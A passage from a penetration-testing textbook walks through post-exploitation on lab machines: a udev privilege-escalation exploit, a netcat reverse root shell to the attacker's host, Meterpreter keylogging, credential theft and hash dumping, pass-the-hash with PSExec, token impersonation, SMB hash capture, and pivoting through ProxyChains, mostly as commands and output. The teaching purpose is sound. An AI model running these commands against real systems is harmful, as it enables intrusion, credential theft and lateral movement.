As you can see, GCC complains that it’s not been given any input, but this tells us that GCC is present. Now to copy our exploit code to the Linux target. The Linux wget command lets us use the command line to pull a file down from a web server, so let’s copy the C code to our Kali Linux web server as shown here. Make sure the apache2 webserver is running in Kali. root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/8572.c /var/www

Now switch to your SSH shell, and download the file with wget, as shown in Listing 13-15. georgia@ubuntu:~$ wget http://192.168.20.9/8572.c
--2015-08-14 14:30:51-- http://192.168.20.9/8572.c
Connecting to 10.0.1.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2768 (2.7K) [text/x-csrc]
Saving to: `8572.c'
100%[======================================>] 2,768

--.-K/s

in 0s

2015-08-14 14:30:52 (271 MB/s) - `8572.c' saved [2768/2768]
Listing 13-15: Using wget to download a file

Now compile the exploit code with GCC on the Linux target as shown here. Use the -o flag to specify an output file name for your compiled code.

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georgia@ubuntu:~$ gcc -o exploit 8572.c

Now to find that udev netlink socket PID mentioned in the exploit’s usage information (Listing 13-14) for our argument. The usage information noted that the PID we need is listed in /proc/net/netlink. cat out the file, as shown in Listing 13-16. georgia@ubuntu:~$ cat /proc/net/netlink sk Eth Pid
Groups
Rmem
Wmem
f7a90e00 0
5574
00000111 0
0
da714400 0
6476
00000001 0
0
da714c00 0
4200780 00000000 0
0
--snip-f7842e00 15 2468
00000001 0
0
f75d5c00 16 0
00000000 0
0
f780f600 18 0
00000000 0
0

Dump
00000000
00000000
00000000

Locks
2
2
2

00000000 2
00000000 2
00000000 2

Listing 13-16: The /proc/net/netlink file

There’s more than one PID listed, but we know that the PID we need is usually the PID of the udev daemon minus 1. Look at the udev process with the ps aux command, as shown here. georgia@ubuntu:~$ ps aux | grep udev root 2469 0.0 0.0
2452
980 ? georgia 3751 0.0 0.0
3236
792 pts/1

S<s
S+

02:27
14:36

0:00 /sbin/udevd --daemon
0:00 grep udev

The udev daemon’s PID is 2469. One of the PIDs from Listing 13-16 is
2468 (udev’s PID minus 1). Based on the exploit’s help information, this is the value we need. This value is going to change between reboots of the
Ubuntu target, so make sure you run these commands in your own lab to find the correct value.
Adding Code to the /tmp/run File
The last thing we need is some code to be run as root in the file /tmp/run.
Luckily, we also have Netcat installed on our Ubuntu system by default, so we can create a simple Bash script to connect back to a listener on our Kali system, as discussed in Chapter 2. Here’s the script. georgia@ubuntu:~$ cat /tmp/run
#!/bin/bash
nc 192.168.20.9 12345 -e /bin/bash

Before running our exploit, we need to set up a listener on our Kali system to catch the incoming Netcat shell. root@kali:~# nc -lvp 12345 listening on [any] 12345 ...

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Finally, we’re ready to run our compiled exploit. Remember to pass the
PID of the udev netlink socket we found earlier as an argument. georgia@ubuntu:~$ ./exploit 2468

Nothing seems to happen on the Linux target, but if you turn back to the Netcat listener on Kali, we have a connection. The whoami command tells us we now have root privileges, as shown in Listing 13-17. root@kali:~# nc -lvp 12345 listening on [any] 12345 ...
192.168.20.11: inverse host lookup failed: Unknown server error : Connection timed out connect to [192.168.20.9] from (UNKNOWN) [192.168.20.11] 33191 whoami root
Listing 13-17: Gaining root privileges

We’ve successfully escalated our privileges using a public exploit.

Local Information Gathering
Once we gain access to a system we should see if any potentially sensitive information is present, such as installed software that stores passwords in plaintext or using a weak hashing algorithm, proprietary data or source code, customer credit card information, or the CEO’s email account. These are all useful bits of information to present in the final report to the customer. Additionally, any information we find may help us break into other systems in the network that hold even greater spoils.
We will look at moving from system to system later in this chapter, but for now let’s look at a few interesting ways to find information on the local system.

Searching for Files
We can tell Meterpreter to search for interesting files. For example in
Listing 13-18, I tell Meterpreter to look for any filenames that contain the name password. meterpreter > search -f *password*
Found 8 results... c:\\WINDOWS\Help\password.chm (21891 bytes) c:\\xampp\passwords.txt (362 bytes) c:\\xampp\php\PEAR\Zend\Dojo\Form\Element\PasswordTextBox.php (1446 bytes) c:\\xampp\php\PEAR\Zend\Dojo\View\Helper\PasswordTextBox.php (1869 bytes) c:\\xampp\php\PEAR\Zend\Form\Element\Password.php (2383 bytes) c:\\xampp\php\PEAR\Zend\View\Helper\FormPassword.php (2942 bytes) c:\\xampp\phpMyAdmin\user_password.php (4622 bytes) c:\\xampp\phpMyAdmin\libraries\display_change_password.lib.php (3467 bytes)
Listing 13-18: Using Meterpreter to look for files
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Keylogging
Another way to gather information is to let the logged-in user give it to you, so to speak. Meterpreter has a keylogger we can use to listen for keystrokes.
Perhaps the user is logging in to websites or other systems on the network while our Meterpreter session is active. Start the keylogger on the Windows XP
Meterpreter session by entering keyscan_start, as shown here. meterpreter > keyscan_start
Starting the keystroke sniffer...

Note

You will capture keystrokes only in your current context. For my example, I used my original Windows XP session where I am the user georgia in the explorer.exe process, and thus can sniff georgia’s keystrokes. Another interesting idea is to migrate into the winlogon process, where you will see only login information that is typed— certainly useful information.
Now switch to Windows XP, and type something. In my example I typed to open the Run dialog. Then I entered notepad.exe to start the
Notepad program and typed hi georgia into Notepad.
To see any keystrokes the keylogger has logged, enter keyscan_dump as shown here. As you can see, all of the keystrokes I typed were logged. ctrl -R

meterpreter > keyscan_dump
Dumping captured keystrokes...
<LWin> notepad.exe <Return> hi georgia <Return>

To stop the keylogger, enter keyscan_stop in Meterpreter as shown here. meterpreter > keyscan_stop
Stopping the keystroke sniffer...

Gathering Credentials
In Chapter 9, we worked with password hashes from Windows, Linux, and the FileZilla FTP server, but users may have other stored credentials on their local system. Metasploit has several post modules for gathering passwords for specific software in /usr/share/metasploit-framework/modules/post/ windows/gather/credentials. For our example, we will look at stealing stored credentials from WinSCP, a secure copy tool for Windows.
As shown in Figure 13-1, open WinSCP, set the File protocol to SCP, the
Host name to the IP address of the Ubuntu target, and the credentials to georgia:password. Click Save As under the login information.

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Figure 13-1: Connecting with WinSCP

Note

Like some of the other tools used in this book, the WinSCP GUI may be updated in the future, so your version may not look exactly like this.
You will be prompted for a session name, as shown in Figure 13-2. Check the Save password box before clicking OK. Even WinSCP warns you that saving passwords is a bad idea.

Figure 13-2: Saving credentials in WinSCP

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Now switch back to Kali Linux, and use the module post/windows/gather/ credentials/winscp, as shown in Listing 13-19. Because this is a post module, the only option you will need to supply is the ID of the Windows XP session. msf > use post/windows/gather/credentials/winscp msf post(winscp) > show options
Module options (post/windows/gather/credentials/winscp):
Name
---SESSION

Current Setting
---------------

Required
-------yes

Description
----------The session to run this module on.

msf post(winscp) > set session 1 session => 1 msf post(winscp) > exploit
[*] Looking for WinSCP.ini file storage...
[*] WinSCP.ini file NOT found...
[*] Looking for Registry Storage...
[*] Host: 192.168.20.9 Port: 22 Protocol: SSH
[*] Done!
[*] Post module execution completed

Username: georgia

Password: password u

Listing 13-19: Stealing stored credentials from WinSCP

As shown in Listing 13-19, the module discovers our saved credentials u.
Based on the software your pentesting targets are running, there may be other credential-gathering targets that will come in handy in the field.

net Commands
The Windows net command will allow us to view and edit network information. Using various options, we can gain valuable information. Drop to a Windows command shell using the Meterpreter command shell, as shown here. meterpreter > shell
--snip-Copyright (c) 2009 Microsoft Corporation.
C:\Windows\system32>

All rights reserved.

The command net users will show us all local users. Tacking on the word /domain at the end of this and many net commands will show information about the domain rather than the local system, but because our targets are not joined to a domain, we’ll stick with net users.
C:\Windows\system32> net users net users
User accounts for \\
-----------------------------------------------------------------------------Administrator
georgia secret Guest

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We can also see the members of a group with the command net localgroup group as shown in Listing 13-20.
C:\Windows\system32> net localgroup Administrators net localgroup Administrators
Alias name
Administrators
Comment
Administrators have complete and unrestricted access to the computer/domain
Members
----------------------------------------------------------------------------------------------Administrator georgia secret
The command completed successfully.
Listing 13-20: Viewing local administrators with net commands

To exit the shell and drop back into Meterpreter, type exit.
These are just a couple of examples of useful net commands. We’ll look at using net commands to add a user later in this chapter.

Another Way In
In Chapter 5, we used Nmap to run a UDP scan. By definition, UDP scans are not as exact as TCP scans. For example, port 69/UDP on the Windows XP target, traditionally the port for TFTP, returned open|filtered in our UDP
Nmap scan. Because our scan did not receive any response, it was unclear if anything was listening there at all. Short of fuzzing the TFTP server and possibly crashing it, it would be difficult to ascertain which TFTP software, if any, is running. Now that we have access to the system, we can further investigate running software for any vulnerabilities we may have missed.
Note

Earlier in the chapter we used the Meterpreter ps command to view all running processes on the Windows XP target. One of these is 3CTftpSvc.exe, an older version of the 3Com TFTP service that is subject to a buffer overflow condition in the TFTP long transport mode. (We’ll write an exploit for this issue by hand in Chapter 19, but there’s a Metasploit module for this issue as well.) Though it would be difficult for an attacker to identify this issue remotely, the software is still vulnerable, and we should include it in our pentest report.
It may be that you won’t discover a network-facing vulnerability until after you have gained access to the system. Without sending random TFTP input to the server and analyzing the results, it would be difficult for us to find this issue.

Checking Bash History
One place to look for potentially interesting information on a Linux system is in a user’s Bash history. When a Bash shell is closed, the commands that have been executed are written to a file called .bash_history in the user’s

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home directory. A perhaps rather contrived example where the user’s password is saved in plaintext in the Bash history file is shown here. georgia@ubuntu:~$ cat .bash_history my password is password
--snip--

Lateral Movement
Once we have access to one system in a networked environment, can we use it to access additional systems and their sensitive data? If our exploited system is a member of a domain, we can certainly try to compromise a domain account or ideally get domain administrator access so that we can log in to and manage all systems in the domain.
But even if you can’t get control of a domain, you may still be able to access the systems in that domain if they were all installed from the same system install image with the same local administrator password that has never been changed. If we can crack this password for one machine, we may be able to log in to many machines in the environment without domain access. Also, if a user has an account on multiple systems, he or she may use the same password on each system, which might allow us to log in with credentials we found elsewhere in the environment. (Good password policies help prevent these kinds of vulnerabilities, but passwords are often the weakest link, even in high-security environments.)
Let’s look at a few techniques for turning access to one system into access to many.

PSExec
The PSExec technique originated in the Sysinternals Windows management tool set in the late 1990s. The utility worked by using valid credentials to connect to the ADMIN$ share on the Windows XP SMB server. PSExec uploads a Windows service executable to the ADMIN$ share and then connects to the Windows Service Control Manager using remote procedure call (RPC) to start the executable service. The service then sets up an SMB named pipe to send commands and remotely control the target system.
The Metasploit module exploit/windows/smb/psexec implements a very similar technique. The module requires a running SMB server on the target and credentials that give access to the ADMIN$ share.
In Chapter 9, we cracked the password hashes for users on our
Windows XP target. You can probably imagine using the found credentials and PSExec to gain access to additional systems. Use the credentials georgia:password with the PSExec module, as shown in Listing 13-21. msf > use exploit/windows/smb/psexec msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):

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Name
---RHOST
RPORT
SHARE

Current Setting
---------------

SMBDomain
SMBPass
SMBUser

WORKGROUP

445
ADMIN$

Required
-------yes
yes yes no no no

Description
----------The target address
Set the SMB service port
The share to connect to, can be an admin share
(ADMIN$,C$,...) or a normal read/write folder share
The Windows domain to use for authentication
The password for the specified username
The username to authenticate as

msf exploit(psexec) > set RHOST 192.168.20.10
RHOST => 10.0.1.13 msf exploit(psexec) > set SMBUser georgiau
SMBUser => georgia msf exploit(psexec) > set SMBPass passwordv
SMBPass => password msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.20.10:445|WORKGROUP as user 'georgia'...
[*] Uploading payload...
[*] Created \KoMknErc.exe...
--snip-[*] Meterpreter session 6 opened (192.168.20.9:4444 -> 192.168.20.10:1173) at 2015-08-14
14:13:40 -0400
Listing 13-21: Using the PSExec module

In addition to RHOST, we need to tell the module which SMBDomain,
SMBUser, and SMBPass to use. Our Windows XP target is not a member of a domain, so we can leave the SMBDomain option at the default,
WORKGROUP.
Set SMBUser to georgia u and SMBPass to password v, our discovered credentials. Then run the exploit module. The module embeds the chosen payload (in this case, the default windows/meterpreter/reverse_tcp) into a
Windows service image executable. After uploading the executable and contacting Windows Service Control Manager, the service copies the shellcode into executable memory for the service process and redirects execution to the payload. Thus our payload runs and connects back to our Metasploit listener on Kali. Even though we logged on as the user georgia, because our payload is running as a system service, our session automatically has system privileges. Note

This is why we made the change to the Windows XP Security Policy in Chapter 1. If
Windows XP were a member of a domain, we could fill in the SMBDomain option and use PSExec to get System access on any system where the domain user was a local administrator. This is a great way to move around a network looking for interesting information, additional password hashes, and more vulnerabilities.

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Pass the Hash
Our previous attack relied on our ability to reverse the password hash and gain access to the plaintext password for a user account. Of course, in the case of our Windows XP target, this is trivial because it uses the entirely crackable LM hashing algorithm.
In Chapter 9, we learned that when we have only the NTLM user authentication hash of a password, instead of the weaker LM version, our ability to reverse the hash in a reasonable amount of time depends on the weakness of the password, the strength of our wordlist, and even the algorithms employed by the password-cracking program. If we can’t reverse the password hash, we’re going to have a tough time logging in to other systems with the plaintext credentials.
PSExec comes to the rescue again. When a user logs in over SMB, his or her password is not sent to the target in plaintext. Instead, the target system issues a challenge that can be answered only by someone with the correct password. In this case, the answer to the challenge is the LM- or NTLMhashed password, depending on the implementation.
When you log in to a remote system, your Windows application calls a utility to hash the password, and that hash is sent to the remote system for authentication. The remote system assumes that if you send the correct hash, you must have access to the correct plaintext password—that is, after all, one of the fundamentals of one-way hash functions. Can you think of a scenario where you might have access to password hashes but not the plaintext passwords?
In Chapter 9, we were able to reverse all password hashes on our target systems. Additionally, on our Windows XP target, we were able to reverse the LM hashes regardless of the strength of the password. But let’s simulate a situation where we have only password hashes, as shown with the
Meterpreter hashdump command in Listing 13-22. meterpreter > hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
georgia:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:93880b42019f250cd197b67718ac9a3d:86da9cefbdedaf62b66d9b2fe8816c1f::: secret:1004:e52cac67419a9a22e1c7c53891cb0efa:9bff06fe611486579fb74037890fda96::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:6f552ba8b5c6198ba826d459344ceb14:::
Listing 13-22: Using hashdump
Note

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When using the hashdump Meterpreter command against newer Windows operating systems, you may find that it fails. An alternative is the post module: post/windows/ gather/hashdump. There is even post/windows/gather/smart_hashdump, which can not only gather local hashes but also active directory hashes if you have exploited a domain controller. So if at first you don’t succeed in dumping password hashes on a pentest, explore additional options.

Let’s use the Metasploit PSExec module to take advantage of how SMB authenticates and a technique called Pass the Hash. Instead of setting the
SMBPass option to georgia’s password, copy in the LM and NTLM hashes for georgia from the hashdump in Listing 13-23 as the SMBPass option. msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit
--snip-[*] Meterpreter session 7 opened (192.168.20.9:4444 -> 192.168.20.10:1233) at 2015-08-14 14:17:47
-0400
Listing 13-23: PSExec Pass the Hash

Again we’re able to use PSExec to get a Meterpreter session. Even without knowing the plaintext password, the password hash alone can be enough to get access to other systems in the environment using PSExec.

SSHExec
Like PSExec for Windows, we can use SSHExec to move through an environment’s Linux systems if we have even one set of valid credentials, which are likely to work elsewhere in the environment. The Metasploit module multi/ssh/sshexec and its options are shown in Listing 13-24. msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) > show options
Module options (exploit/multi/ssh/sshexec):
Name
Current Setting Required Description
------------------ -------- ----------PASSWORD yes The password to authenticate with.
RHOST
yes
The target address
RPORT
22 yes The target port
USERNAME root yes The user to authenticate as.
--snip-msf exploit(sshexec) > set RHOST 192.168.20.11
RHOST => 192.168.20.11 msf exploit(sshexec) > set USERNAME georgiau
USERNAME => georgia msf exploit(sshexec) > set PASSWORD passwordv
PASSWORD => password msf exploit(sshexec) > show payloads
--snip-linux/x86/meterpreter/reverse_tcp
normal Linux Meterpreter, Reverse TCP
Stager
--snip-msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(sshexec) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(sshexec) > exploit

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[*] Started reverse handler on 192.168.20.9:4444
--snip-[*] Meterpreter session 10 opened (192.168.20.9:4444 -> 192.168.20.11:36154) at 2015-03-25 13:43:26 -0400 meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 meterpreter > shell
Process 21880 created.
Channel 1 created. whoami georgia
Listing 13-24: Using SSHExec

In this example, we know the credentials georgia:password from having cracked them in Chapter 9. Although in this case we will just be logging into the same host again (similar to what we did in “PSExec” on page 296), we could use this same technique on other hosts in that same environment that have an account for georgia.
As with PSExec, we need valid credentials in order to authenticate. We set the USERNAME to georgia u and PASSWORD to password v, and then choose linux/x86/meterpreter/reverse_tcp as the payload.
Unlike with PSExec (which uploaded a binary and ran it as a System service, automatically giving us System privileges), with SSHExec we are still user georgia. You can see how this exploit could prove to be a quick way to move around an environment in search of additional information and vulnerabilities on other Linux systems.

Token Impersonation
Now that we know we might not even need plaintext passwords to gain access to other systems, is there any case where we may not even need the password hashes?
One interesting Windows security construct is the concept of tokens.
Tokens are primarily used for access control. Based on the token of a process, the operating system can make decisions about which resources and operations should be made available to it.
Think of a token as a kind of temporary key that gives you access to certain resources without having to enter your password every time you want to perform a privileged operation. When a user logs in to the system interactively, such as directly through the console or from a remote desktop, a delegation token is created.
Delegation tokens allow the process to impersonate the token on the local system as well as on the network, for example on other systems in a domain. Delegation tokens contain credentials and can be used to authenticate with other systems that use these credentials, such as the domain controller. Tokens persist until reboot, and even if a user logs out, his or her

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token will still be present on the system until it shuts down. If we can steal another token on the system, we can potentially gain additional privileges and even access to additional systems.

Incognito
We’re on a compromised system: our Windows XP target. Which tokens are on the system, and how do we steal them? Incognito was originally a standalone tool developed by security researchers conducting research into using token stealing for privilege escalation, but it has since been added as an extension to Meterpreter. Incognito will help us enumerate and steal all the tokens on a system.
Incognito is not loaded into Meterpreter by default, but we can add it with the load command, as shown here. Use one of your Meterpreter sessions currently running as system, or use privilege escalation to elevate your access.
(System has access to all tokens on the target.) meterpreter > load incognito
Loading extension incognito...success.

Before we use Incognito, switch users on your Windows XP target and log in as secret with the password Password123. This login will create a delegation token on the target for us to impersonate. As we list tokens, Incognito searches all handles on the system to determine which ones belong to tokens using low-level Windows API calls. To see all the user tokens available with the Meterpreter Incognito, enter the command list_tokens -u as shown in
Listing 13-25. meterpreter > list_tokens -u
Delegation Tokens Available
========================================
BOOKXP\georgia
BOOKXP\secret
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Listing 13-25: Enumerating tokens with Incognito

We see tokens for both georgia and secret. Let’s try stealing secret’s delegation token, effectively gaining the privileges of this user. Use the impersonate_token command to steal the token, as shown in Listing 13-26.
(Note that we use two backslashes to escape the backslash between the domain—in this case, the local machine name—and the username.) meterpreter > impersonate_token BOOKXP\\secret
[+] Delegation token available
[+] Successfully impersonated user BOOKXP\secret

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meterpreter > getuid
Server username: BOOKXP\secret
Listing 13-26: Stealing a token with Incognito

Having stolen secret’s token, if we run getuid we should see that we are effectively now the user secret. This can be especially interesting when in a domain: If secret is a domain administrator, we are now a domain administrator as well, and we can do things like create a new domain administrator account or change the domain administrator’s password. (We’ll look at how to add accounts from the command line in “Persistence” on page 309.)

SMB Capture
Let’s look at one more interesting consequence of token stealing. In a domain, password hashes for domain users are stored only on the domain controller, which means that running a hashdump on an exploited system will give us password hashes only for local users. We don’t have a domain set up, so secret’s password hash is stored locally, but imagine that secret is instead a domain user. Let’s look at a way of capturing the password hashes without gaining access to the domain controller by passing the hash to an
SMB server we control and recording the results.
Open a second instance of Msfconsole, and use the module auxiliary/ server/capture/smb to set up an SMB server and capture any authentication attempts. Like the client-side attack modules we studied in Chapter 10, this module does not directly attack another system; it just sets up a server and waits. Set up the module options as shown in Listing 13-27. msf > use auxiliary/server/capture/smb msf auxiliary(smb) > show options
Module options (auxiliary/server/capture/smb):
Name
Current Setting
Required Description
------------------------- ----------CAINPWFILE no The local filename to store the hashes in format CHALLENGE
1122334455667788 yes
The 8 byte challenge
JOHNPWFILE
no
The prefix to the local filename to store in JOHN format
SRVHOST
0.0.0.0 yes The local host to listen on. This must be on the local machine or 0.0.0.0
SRVPORT
445 yes The local port to listen on.
SSL
false no Negotiate SSL for incoming connections
SSLCert
no
Path to a custom SSL certificate (default randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be
(accepted: SSL2, SSL3, TLS1) msf auxiliary(smb) > set JOHNPWFILE /root/johnfileu
JOHNPWFILE => johnfile msf auxiliary(smb) > exploit
Listing 13-27: Using the SMB capture module

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Cain&Abel

the hashes an address

is used You can save the results to a CAINPWFILE or a JOHNPWFILE, which will save the captured hashes in the formats expected by the Cain and
Abel password tool for Windows and John the Ripper, respectively. Let’s set it to JOHNPWFILE u because we learned how to use John in Chapter 9.
Now return to your Meterpreter session where you impersonated secret’s token in the previous section, and drop to a shell, as shown next. Because we’ve stolen secret’s token, this shell should be running as secret. Knowing that delegation tokens include credentials to authenticate with other systems, we’ll use the net use Windows command to attempt to authenticate with our fake SMB capture server.
Connect to any share you like on the Kali SMB server. The login will fail, but the damage will be done. meterpreter > shell
C:\Documents and Settings\secret>net use \\192.168.20.9\blah

Returning to your SMB Capture Msfconsole window, you should see that you’ve captured a set of password hashes.
[*] SMB Captured - 2015-08-14 15:11:16 -0400
NTLMv1 Response Captured from 192.168.20.10:1078 – 192.168.20.10
USER:secret DOMAIN:BOOKXP OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:76365e2d142b5612338deca26aaee2a5d6f3460500532424
NTHASH:f2148557db0456441e57ce35d83bd0a27fb71fc8913aa21c

Note

This exercise can be a bit flaky, particularly without a Windows domain present. You might have trouble capturing the hash and instead get something like this:
[*] SMB Capture - Empty hash captured from 192.168.20.10:1050 - 192.168.20.10 captured, ignoring ...

This is a common issue. Just try to understand the concepts so you can try them in client environments where Windows domains are deployed.
The results are saved in the proper format in the JOHNPWFILE
Metasploit module option for auxiliary/server/capture/smb. For example, since we set our JOHNPWFILE as /root/johnfile, the file to feed into John is
/root/johnfile_netntlm. When you compare the hashes to those dumped with hashdump in Listing 13-22, you’ll see that the hashes for secret differ. What’s going on? As it turns out, these hashes are for NETLM and NETNTLM, which are a bit different than the regular LM and NTLM Windows hashes we worked with in Chapter 9. And when you look at the JOHNPWFILE, you’ll see that its format is a bit different from what we’ve seen previously with
John the Ripper. secret::BOOKXP:76365e2d142b5612338deca26aaee2a5d6f3460500532424:f2148557db0456 441e57ce35d83bd0a27fb71fc8913aa21c:1122334455667788

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In particular, the hash entry has taken note of the CHALLENGE option set in Metasploit. Though the user secret has a local hash on our Windows XP target that would save us the trouble of cracking NETLM and NETNTLM hashes, this is a useful trick for grabbing password hashes when working with domain user accounts, which store their password hashes only on the domain controllers.

Pivoting
Now let’s see if we can use access to a system to gain access to another network entirely. Typically an organization has only a few Internet-facing systems—hosting services that need to be made available to the Internet such as web servers, email, VPNs, and so on. These services may be hosted by a provider such as Google or GoDaddy, or they may be hosted in house. If they are hosted in house, gaining access to them from the Internet may give you access to the internal network. Ideally their internal network will be segmented by business unit, level of sensitivity, and so on, such that access to one machine does not give direct network access to all machines in the enterprise.
Note

Internet-facing systems may be dual homed, or a member of multiple networks, namely the Internet and an internal network. A security best practice is to keep dual-homed systems segregated from sensitive internal network resources in a demilitarized zone, but I have performed penetration tests for clients who have Internet-facing systems as part of their internal domain. All I had to do was exploit their web application, which had a default password for the administrative account, and upload a PHP shell as we did to XAMPP in Chapter 8, and suddenly I had access to a system on their internal domain. Hopefully, most of your clients will require a few more steps between piercing the perimeter and domain access.
When we set up our Windows 7 target in Chapter 1, we gave it two virtual network adapters. We connected one to the bridged network where it could talk to the other targets and our Kali virtual machine. The other virtual adapter is connected to the host-only network. For this exercise, switch the
Windows XP target to the host-only network so it is no longer accessible by the Kali system. (For more information on changing virtual network settings, see “Creating the Windows 7 Target” on page 48.)
Though this is a Windows system, Meterpreter allows us to use the ifconfig command to see networking information. As shown in Listing 13-28, the Windows 7 target is part of two networks: the 192.168.20.0/24 network, which also includes our Kali system, and the 172.16.85.0/24 network, which our Kali system does not have access to. meterpreter > ifconfig
Interface 11
============
Name
: Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:62:d5:c8
MTU
: 1500
IPv4 Address : 192.168.20.12

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IPv4 Netmask
Interface 23
============
Name
Hardware MAC
MTU
IPv4 Address
IPv4 Netmask

: 255.255.255.0

:
:
:
:
:

Intel(R) PRO/1000 MT Network Connection #2
00:0c:29:62:d5:d2
1500
172.16.85.191
255.255.255.0

Listing 13-28: Dual-homed system networking information

We can’t attack any systems in the 172.16.85.0 network directly from
Kali. However, because we have access to the Windows 7 target, we can use it as a jumping-off point, or pivot, to further explore this second network, as shown in Figure 13-3.

Kali
192.168.20.9

Windows 7
192.168.20.12
172.16.85.191

Windows XP
172.16.85.190

Figure 13-3: Pivoting through an exploited system

At this point we could start uploading our hack tools to the Windows 7 target to begin the penetration test on the 172.16.85.0 network, but that attempt would likely be caught by antivirus software, and we’d have to clean up the mess left behind. Metasploit gives us another option: We can route all of the traffic for our target network through an open Metasploit session.

Adding a Route in Metasploit
The route command in Metasploit tells Metasploit where to route traffic.
Instead of routing traffic to an IP address, we send traffic destined for a network through a specific open session. In this case, we want to send all traffic headed to the 172.16.85.0 network through the Windows 7 session. The syntax for the route command in Metasploit is route add network <subnet mask>
<session id>. msf > route add 172.16.85.0 255.255.255.0 2
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Now any traffic we send from Metasploit to the 172.16.85.0 network will automatically be routed through the Windows 7 session (session 2 in my case). We can set options such as RHOST or RHOSTS to systems in this network, and Metasploit will get traffic to the right place.

Metasploit Port Scanners
One of the first things we did when information gathering in Chapter 5 was to port scan our targets with Nmap. We won’t be able to use external tools with our Metasploit route, but luckily Metasploit has some port-scanning modules we can use instead, like the scanner/portscan/tcp module, which will perform a simple TCP port scan, as shown in Listing 13-29. msf > use scanner/portscan/tcp msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name
Current Setting
-----------------CONCURRENCY 10
PORTS
u1-10000
RHOSTS
THREADS
1
TIMEOUT
1000
msf auxiliary(tcp) > set RHOSTS rhosts => 172.16.85.190 msf auxiliary(tcp) > exploit
[*] 172.16.85.190:25 - TCP OPEN
[*] 172.16.85.190:80 - TCP OPEN
[*] 172.16.85.190:139 - TCP OPEN
[*] 172.16.85.190:135 - TCP OPEN
[*] 172.16.85.190:180 - TCP OPEN
--snip--

Required Description
-------- ----------yes
The number of concurrent ports to check per host yes Ports to scan (e.g. 22-25,80,110-900) yes The target address range or CIDR identifier yes The number of concurrent threads yes The socket connect timeout in milliseconds
172.16.85.190

Listing 13-29: Port scanning with Metasploit

Set the RHOSTS option as usual for auxiliary modules. By default Metasploit scans port 1-10000 u, though you can change this option if you wish.
Though Metasploit’s port scanners are not as powerful as Nmap’s, we can at least see that the SMB port is open. From here we might run the auxiliary/scanner/smb/smb_version module followed by the check function with the windows/smb/ms08_067_netapi module to lead us toward exploiting the
Windows XP target with the MS08-067 exploit through a pivot.

Running an Exploit through a Pivot
Because our Windows XP and Kali systems are on different networks, a reverse payload won’t work for our exploit because the Windows XP target won’t know how to route traffic back to 192.168.20.9. (Of course, if our Kali system was on the Internet and the internal network we are attacking could route to the Internet, that would not be the case. However, here our hostonly network does not know how to route to our bridged network.) Instead,
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we’ll use a bind payload. Metasploit’s bind handler will have no trouble routing through the pivot we set up. The windows/meterpreter/bind_tcp payload will work as shown in Listing 13-30. msf exploit(handler) > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 172.16.85.190
RHOST => 172.16.85.190 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > exploit
Listing 13-30: Exploiting through a pivot

We’ve gotten another session, this time through a pivot.

Socks4a and ProxyChains
Pivoting through Metasploit is all well and good, but we’re limited to using
Metasploit modules. Perhaps there is a way to proxy other tools through
Metasploit’s pivot? In fact there is: using the ProxyChains tool (which redirects traffic to proxy servers) to send our traffic from other Kali tools through Metasploit.
But first we need to set up a proxy server in Metasploit. Like the SMB server module we used to capture NETLM and NETNTLM hashes earlier in this chapter, Metasploit also has a Socks4a proxy server module
(auxiliary/server/socks4a). Listing 13-31 shows how to set up the proxy server. msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name
---SRVHOST
SRVPORT

Current Setting
--------------0.0.0.0
1080

Required
-------yes
yes

Description
----------The address to listen on
The port to listen on.

msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
Listing 13-31: Setting up a Socks4a proxy server in Metasploit

Leave the options as the defaults, but note that the server will be listening on port 1080.
Now we need to edit the configuration file for ProxyChains at /etc/ proxychains.conf. Scroll down to the bottom of the file in an editor, and you should see that by default, ProxyChains is set to route traffic to the Tor network as shown here.

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# add proxy here ...
# defaults set to “tor” socks4 127.0.0.1 9050

We need to change the proxy value to Metasploit’s listening server.
Replace port 9050 (for Tor) with 1080 (for Metasploit). The line should now read: socks4 127.0.0.1 1080

Save the configuration file for ProxyChains. Now we can run tools like
Nmap from outside Metasploit against our Windows XP target, as long as we preface them with proxychains as shown in Listing 13-32. (The Metasploit route must still be active because ProxyChains simply redirects the traffic to Metasploit, which will forward the traffic through the pivot.) root@kali:~# proxychains nmap -Pn -sT -sV -p 445,446 172.16.85.190
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 6.40 ( http://nmap.org ) at 2015-03-25 15:00 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190.165:445-<><>-OKu
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.85.190:446-<--deniedv
Nmap scan report for 172.16.85.190
Host is up (0.32s latency).
PORT
